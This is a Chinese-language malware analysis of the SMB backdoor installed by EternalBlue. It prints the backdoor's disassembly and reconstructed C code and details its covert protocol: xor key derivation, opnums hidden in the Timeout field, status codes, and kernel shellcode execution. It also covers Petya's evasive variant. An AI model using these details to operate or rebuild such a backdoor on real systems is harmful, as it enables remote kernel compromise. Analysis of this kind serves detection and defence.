标题: Eternalblue所用SMB后门分析 https://scz.617.cn/windows/201704171419.txt 以64-bits为例,这是Eternalblue所用代码: -------------------------------------------------------------------------- 0000000000000A13 Private_backdoor proc near 0000000000000A13 57 push rdi 0000000000000A14 56 push rsi 0000000000000A15 53 push rbx 0000000000000A16 55 push rbp 0000000000000A17 41 54 push r12 0000000000000A19 41 55 push r13 0000000000000A1B 41 56 push r14 0000000000000A1D 41 57 push r15 0000000000000A1F 49 89 E4 mov r12, rsp 0000000000000A22 48 81 EC 08 01 00 00 sub rsp, 108h 0000000000000A29 49 89 CF mov r15, rcx ; PWORK_CONTEXT WorkContext 0000000000000A2C 48 8D 2D E0 FF FF FF lea rbp, Private_backdoor 0000000000000A33 66 81 E5 00 F0 and bp, 0F000h ; rbp等于buf 0000000000000A33 ; 这是假设buf一定对齐在页边界上,可能在某些OS上未必 0000000000000A38 48 89 4D 58 mov [rbp+58h], rcx 0000000000000A3C 48 31 D2 xor rdx, rdx 0000000000000A3F 66 8B 51 02 mov dx, [rcx+2] 0000000000000A43 48 01 CA add rdx, rcx 0000000000000A46 0000000000000A46 loop_A46: ; 定位WORK_CONTEXT.Irp,以此为原点定位其他成员 0000000000000A46 48 3B 11 cmp rdx, [rcx] 0000000000000A49 74 06 jz short found_A51 0000000000000A4B 48 8D 49 08 lea rcx, [rcx+8] 0000000000000A4F EB F5 jmp short loop_A46 0000000000000A51 0000000000000A51 found_A51: 0000000000000A51 48 8D 41 28 lea rax, [rcx+28h] 0000000000000A55 48 89 45 34 mov [rbp+34h], rax 0000000000000A59 48 8B 41 F0 mov rax, [rcx-10h] 0000000000000A5D 48 89 45 28 mov [rbp+28h], rax 0000000000000A61 E8 28 01 00 00 call Private_generate_xor_key_from_seed 0000000000000A66 E8 7B 01 00 00 call Private_check_ParameterCount ; 返回True表示成功 0000000000000A6B 48 85 C0 test rax, rax 0000000000000A6E 0F 84 ED 00 00 00 jz not_from_my_client_B61 ; 不是来自与后门匹配的客户端 0000000000000A74 4C 8B 6D 3C mov r13, [rbp+3Ch] 0000000000000A78 41 8B 4D BC mov ecx, [r13-44h] ; Timeout 0000000000000A7C E8 F9 00 00 00 call Private_extract_opnum_from_timeout 0000000000000A81 3C 23 cmp al, 23h ; '#' ; Ping backdoor 0000000000000A83 74 0D jz short Ping_A92 0000000000000A85 3C 77 cmp al, 77h ; 'w' ; Uninstall backdoor 0000000000000A87 74 1D jz short Uninstall_AA6 0000000000000A89 3C C8 cmp al, 0C8h ; ' ; Execute shellcode 0000000000000A8B 74 23 jz short Execute_AB0 0000000000000A8D E9 BD 00 00 00 jmp invalid_parameter_B4F 0000000000000A92 0000000000000A92 Ping_A92: 0000000000000A92 48 8B 4D 28 mov rcx, [rbp+28h] 0000000000000A96 8B 45 44 mov eax, [rbp+44h] ; xorseed 0000000000000A99 89 41 0E mov [rcx+0Eh], eax ; Signature[0-3]=xorseed 0000000000000A9C B0 01 mov al, 1 0000000000000A9E 88 41 12 mov [rcx+12h], al ; Signature[4]=1 0000000000000AA1 E9 A5 00 00 00 jmp succeed_or_continue_B4B 0000000000000AA6 0000000000000AA6 Uninstall_AA6: 0000000000000AA6 E8 F4 00 00 00 call Private_uninstall_backdoor 0000000000000AAB E9 9B 00 00 00 jmp succeed_or_continue_B4B 0000000000000AB0 0000000000000AB0 Execute_AB0: 0000000000000AB0 48 31 DB xor rbx, rbx 0000000000000AB3 48 31 F6 xor rsi, rsi 0000000000000AB6 48 31 FF xor rdi, rdi 0000000000000AB9 49 8B 45 D8 mov rax, [r13-28h] ; SESSION_SETUP Parameters 0000000000000ABD 8B 18 mov ebx, [rax] 0000000000000ABF 8B 70 04 mov esi, [rax+4] 0000000000000AC2 8B 78 08 mov edi, [rax+8] ; offset 0000000000000AC5 8B 4D 48 mov ecx, [rbp+48h] ; xorkey 0000000000000AC8 31 CB xor ebx, ecx ; totalsize 0000000000000ACA 31 CE xor esi, ecx ; size 0000000000000ACC 31 CF xor edi, ecx ; offset 0000000000000ACE 41 3B 75 10 cmp esi, [r13+10h] ; Total Data Count 0000000000000AD2 75 7B jnz short invalid_parameter_B4F ; 参数错误 0000000000000AD4 3B 5D 54 cmp ebx, [rbp+54h] 0000000000000AD7 48 8B 45 4C mov rax, [rbp+4Ch] 0000000000000ADB 74 16 jz short loc_AF3 ; 是一次攻击的几个分组,跳转,继续拷贝解密 0000000000000ADB ; 这个判断太弱了,只依赖totalsize很容易出事吧 0000000000000ADD E8 D1 00 00 00 call Private_free_shellcode 0000000000000AE2 48 8D 53 04 lea rdx, [rbx+4] ; totalsize+4,挺保守啊,多分配4字节 0000000000000AE6 48 31 C9 xor rcx, rcx ; PoolType=NonPagedPool 0000000000000AE9 FF 55 10 call qword ptr [rbp+10h] ; ExAllocatePool 0000000000000AEC 48 89 45 4C mov [rbp+4Ch], rax 0000000000000AF0 89 5D 54 mov [rbp+54h], ebx 0000000000000AF3 0000000000000AF3 loc_AF3: ; shellcode==NULL? 0000000000000AF3 48 85 C0 test rax, rax 0000000000000AF6 74 5B jz short allocation_failure_B53 ; 分配内存失败 0000000000000AF8 48 01 F7 add rdi, rsi ; offset += size 0000000000000AFB 48 39 DF cmp rdi, rbx ; 检查offset是否超出totalsize 0000000000000AFE 77 4F ja short invalid_parameter_B4F ; 参数错误 0000000000000B00 48 29 F7 sub rdi, rsi ; offset -= size 0000000000000B03 48 01 C7 add rdi, rax ; shellcode+offset 0000000000000B06 57 push rdi 0000000000000B07 48 89 F1 mov rcx, rsi ; size 0000000000000B0A 51 push rcx 0000000000000B0B 49 8B 75 E8 mov rsi, [r13-18h] ; SESSION_SETUP Data 0000000000000B0F F3 A4 rep movsb ; 从SMB报文中复制"SESSION_SETUP Data"到shellcode[] 0000000000000B11 59 pop rcx ; size 0000000000000B12 48 C1 E9 02 shr rcx, 2 ; size / 4 0000000000000B16 5E pop rsi ; shellcode+offset 0000000000000B17 8B 55 48 mov edx, [rbp+48h] 0000000000000B1A 0000000000000B1A loop_B1A: ; 循环xor解密shellcode 0000000000000B1A 31 16 xor [rsi], edx 0000000000000B1C 48 83 C6 04 add rsi, 4 0000000000000B20 E2 F8 loop loop_B1A 0000000000000B22 48 01 D8 add rax, rbx ; shellcode+totalsize 0000000000000B25 48 39 C6 cmp rsi, rax ; 是否到达shellcode+totalsize 0000000000000B28 7C 21 jl short succeed_or_continue_B4B ; shellcode尚未接收完毕 0000000000000B2A FF 55 4C call qword ptr [rbp+4Ch] ; 执行通过后门传递过来的shellcode 0000000000000B2A ; 是call不是jmp 0000000000000B2D E8 81 00 00 00 call Private_free_shellcode ; 执行完shellcode就抹除痕迹 0000000000000B32 8B 45 44 mov eax, [rbp+44h] 0000000000000B35 D1 E8 shr eax, 1 0000000000000B37 48 31 C9 xor rcx, rcx 0000000000000B3A 88 C1 mov cl, al 0000000000000B3C 48 01 E9 add rcx, rbp 0000000000000B3F 8B 09 mov ecx, [rcx] 0000000000000B41 31 C8 xor eax, ecx 0000000000000B43 89 45 44 mov [rbp+44h], eax ; 每执行一次shellcode就更新一次xorseed 0000000000000B46 E8 43 00 00 00 call Private_generate_xor_key_from_seed 0000000000000B4B 0000000000000B4B succeed_or_continue_B4B: ; status=0x10 成功 0000000000000B4B B0 10 mov al, 10h 0000000000000B4D EB 08 jmp short exit_B57 0000000000000B4F 0000000000000B4F invalid_parameter_B4F: ; status=0x20 参数错误 0000000000000B4F B0 20 mov al, 20h ; ' ' 0000000000000B51 EB 04 jmp short exit_B57 0000000000000B53 0000000000000B53 allocation_failure_B53: ; status=0x30 分配内存失败 0000000000000B53 B0 30 mov al, 30h ; '0' 0000000000000B55 EB 00 jmp short $+2 ; 这个jmp无必要,估计是源代码中追求美学所致 0000000000000B57 0000000000000B57 exit_B57: 0000000000000B57 48 8B 4D 28 mov rcx, [rbp+28h] 0000000000000B5B B4 00 mov ah, 0 0000000000000B5D 66 01 41 1E add [rcx+1Eh], ax ; Mid += status 0000000000000B61 0000000000000B61 not_from_my_client_B61: 0000000000000B61 48 8B 45 20 mov rax, [rbp+20h] 0000000000000B65 4C 89 F9 mov rcx, r15 0000000000000B68 4C 89 E4 mov rsp, r12 0000000000000B6B 41 5F pop r15 0000000000000B6D 41 5E pop r14 0000000000000B6F 41 5D pop r13 0000000000000B71 41 5C pop r12 0000000000000B73 5D pop rbp 0000000000000B74 5B pop rbx 0000000000000B75 5E pop rsi 0000000000000B76 5F pop rdi 0000000000000B77 FF 60 78 jmp qword ptr [rax+78h] ; srv!SrvTransaction2DispatchTable[15] 0000000000000B77 Private_backdoor endp ; 14、15都指向srv!SrvTransactionNotImplemented -------------------------------------------------------------------------- SMB_TRANS_STATUS Private_backdoor ( PWORK_CONTEXT WorkContext ) { Private_generate_xor_key_from_seed(); if ( !Private_check_ParameterCount() ) { /* * 收到的"Trans2 Request (0x32)"不是来自与后门匹配的客户端 */ goto not_from_my_client; } /* * 从"Trans2 Request (0x32)"的Timeout中析取opnum */ opnum = Private_extract_opnum_from_timeout(); switch ( opnum ) { case 0x23: /* * Ping backdoor * * 通过响应报文的Signature字段返回xorseed,不是直接返回xorkey */ Private_set_signature( xorseed ); /* * 成功 */ status = 0x10; break; case 0x77: /* * Uninstall backdoor */ Private_uninstall_backdoor(); status = 0x10; break; case 0xc8: /* * Execute shellcode */ shellcode = ExAllocatePool( NonPagedPool, totalsize+4 ); if ( NULL == shellcode ) { /* * 分配内存失败 */ status = 0x30; } else { memcpy( shellcode, SESSION_SETUP Data[], totalsize ); for ( i = 0; i < totalsize; i += 4 ) { /* * 循环xor解密shellcode */ Private_xor( shellcode + i, xorkey ); } /* * 执行通过后门传递过来的shellcode。是call不是jmp,所以要求 * shellcode必须考虑栈平衡且有返回指令。 * * Doublepulsar-1.3.1.exe所提交的内核态DLL注入shellcode正是从 * 此处获得控制权 */ shellcode(); /* * 执行完shellcode就从内存中抹除shellcode(不是后门本身) */ Private_free_shellcode(); /* * 每执行一次shellcode就更新一次xorseed、xorkey */ Private_transform_xorseed(); Private_generate_xor_key_from_seed(); status = 0x10; } break; default: /* * 参数错误 */ status = 0x20; break; } /* end of switch */ /* * 通过响应报文的Multiplex ID字段返回后门执行的状态信息 */ Mid += status; not_from_my_client: /* * 继续原有正常流程 */ return( SrvTransactionNotImplemented( WorkContext ) ); } /* end of Private_backdoor */ -------------------------------------------------------------------------- 简要描述一下Eternalblue通过hook srv!SrvTransaction2DispatchTable[14]所安装 的SMB后门。 Private_backdoor是作为srv!SrvTransaction2DispatchTable[14]出场的,rcx对应 其唯一形参WorkContext,其类型是PWORK_CONTEXT,在泄露的NT 4源码中有其早期定 义。 代码假设Private_backdoor所在区域位于页中部,在其低址页边界上有一个0x60字节 大小的自定义控制结构,其成员包括nt模块基址、ExAllocatePool函数指针、 xorseed等信息。xorseed可以简单理解成随机数。 0xA33处的代码假设这个自定义控制结构一定位于页边界上,可能在某些OS上未必如 此,这片内存是用ExAllocatePool( NonPagedPool, 0xff0 )分配得到。 0xA46处的代码在尝试定位WORK_CONTEXT.Irp,目的是以此为原点定位WORK_CONTEXT 的其他成员。这段定位代码让我开了眼界,其内在逻辑是WORK_CONTEXT.Irp指向的 IRP结构紧跟在WORK_CONTEXT结构之后。不管你们之前知不知道,反正我是不知道还 有这么一出。为什么动态定位WORK_CONTEXT.Irp?我猜是考虑兼容性,不同OS的该结 构肯定有一些微调;或许还有一点,如果硬编码偏移量肯定做不到32/64位编码时源 码级兼容。总之,这个奇技淫巧我学到了。 定位WORK_CONTEXT.Irp之后,就间接定位了Transaction、ResponseHeader等成员。 Private_generate_xor_key_from_seed()根据xorseed变换得到xorkey,也保存在自 定义控制结构中。 -------------------------------------------------------------------------- unsigned int Private_generate_xor_key_from_seed ( unsigned int xorseed ) { unsigned int xorkey; xorkey = ( xorseed * 2 ) ^ htonl( xorseed ); return( xorkey ); } -------------------------------------------------------------------------- 比如: xorseed = 0x12cf066a xorkeey = ( 0x12cf066a * 2 ) ^ 0x6a06cf12 = 0x4f98c3c6 Private_check_ParameterCount()检查"Trans2 Request (0x32)"中的Setup Count、 Total Parameter Count、Parameter Count字段,以此定位TRANSACTION.ParameterCount, 后者作用相当于WORK_CONTEXT.Irp,以之为原点定位TRANSACTION结构的其他成员。 如果这个检查未通过,表示收到的"Trans2 Request (0x32)"不是来自与后门匹配的 客户端,最大可能是正常报文,此时直接转回原正常流程,不做其他后门动作,意味 着响应报文是标准的,其Mid字段不会携带非标准信息。 Private_extract_opnum_from_timeout()取"Trans2 Request (0x32)"的Timeout,对 于后门来说,它已经不是超时设置,实际是向后门提供opnum。参0xA81处的代码,总 共有三种opnum: 0x23 Ping backdoor 0x77 Uninstall backdoor 0xc8 Execute shellcode Timeout就是变形隐匿过的opnum,算法如下: 设有4字节的smb.timeout,对其各字节进行相加,返回unsigned char型结果。比如: 0x00b70b61 0x00 + 0xb7 + 0x0b + 0x61 = 0x123 => 0x23 0x00b70b61 + 0x00b70b + 0x00b7 + 0x00 = 0xB7C323 => 0x23 这是Doublepulsar-1.3.1.exe发出的 0x00a4d9a6 0x00 + 0xa4 + 0xd9 + 0xa6 = 0x223 => 0x23 0x00a4d9a6 + 0x00a4d9 + 0x00a4 + 0x00 = 0xA57F23 => 0x23 这是smb_ms17_010.rb发出的 如果不考虑混淆,Timeout完全可以直接等于opnum,没有任何问题。 对于上述三种opnum,在"Trans2 Response (0x32)"的Multiplex ID中返回状态信息。 参0xB4B处的代码,状态码总共有三种: 0x10 成功 0x20 参数错误 0x30 分配内存失败 参0xB5D处的代码,并不是直接通过Multiplex ID返回上述状态码,而是做了变换: Mid = Mid + status 右边的Mid来自请求报文,左边的Mid设置在响应报文中。 Ping包的作用不仅仅是确认SMB后门已经就绪,它的响应包中会包含xorseed。客户端 收到xorseed,转换成xorkey。将来客户端向后门服务端提供其他shellcode时,用 xorkey加密后传输。xorseed的存在,仅仅是防止在网络通信中直接泄露xorkey,由 于从xorseed到xorkey的生成算法是固定的,这只能算简单混淆。参0xA92处的代码, Ping响应包的Signature字段前4字节即xorseed,Signature[4]是固定的0x01。 Private_uninstall_backdoor()首先从内存中抹除shellcode,然后还原 srv!SrvTransaction2DispatchTable[14],使之指向原来的 SrvTransactionNotImplemented,从此hook被取消,SMB后门不再。 参0xAB0处的代码,Execute包到达后,取"Trans2 Request (0x32)"的 "SESSION_SETUP Parameters",这12字节对应另一个自定义结构: struct SomeStruct_1 { unsigned int totalsize; unsigned int size; unsigned int offset; }; 后门用xorkey解密还原出上述数据,用ExAllocatePool( NonPagedPool, totalsize+4 ) 分配内存用于保存来自客户端的shellcode。从"Trans2 Request (0x32)"中复制 "SESSION_SETUP Data"到shellcode[],同样用xorkey解密。 参0xB2A处的代码,后门是用call而不是jmp转移控制权到shellcode。执行完 shellcode,从内存中抹除shellcode(不是后门本身)。每执行一次shellcode就更新 一次xorseed、xorkey。 参0xB77处的代码,前面说的都是Private_backdoor()的动作,做完这些"多余的"动 作,需要继续"原来的"流程,即转向srv!SrvTransactionNotImplemented。后门利用 了原srv!SrvTransaction2DispatchTable[]的14、15号成员相等的事实。 事后诸葛亮的话,可以对这个SMB后门提出一些意见,我个人觉得它已经相当精巧、 高效,值得学习。 2017-07-03 CheckPoint Petya蠕虫相比WannaCry蠕虫,有一些小变化。 三种opnum: 0xf0 Ping backdoor 0xf1 Uninstall backdoor 0xf2 Execute shellcode 三种status: 0x11 成功 0x21 参数错误 0x31 分配内存失败 请求包传递opnum时仍然使用Timeout,但不做变形隐匿,直接将Timeout按 little-endian序设成opnum,比如"f0 00 00 00"。后门服务端并未变化,只是后门 客户端这样操作而已,一直都可以这样。 响应包传递status时不再使用Multiplex ID,而是使用Signature之后的那个2字节 Reserved字段,该字段正常情况下应该全零。SMB Header中大部分字段按 little-endian序解码,但Reserved字段按big-endian序解码,至少Wireshark是这样 干的。Petya做的是: Reserved[0] = status Petya的这些变化可以规避针对原始SMB后门的远程扫描以及部分不靠谱的IPS规则。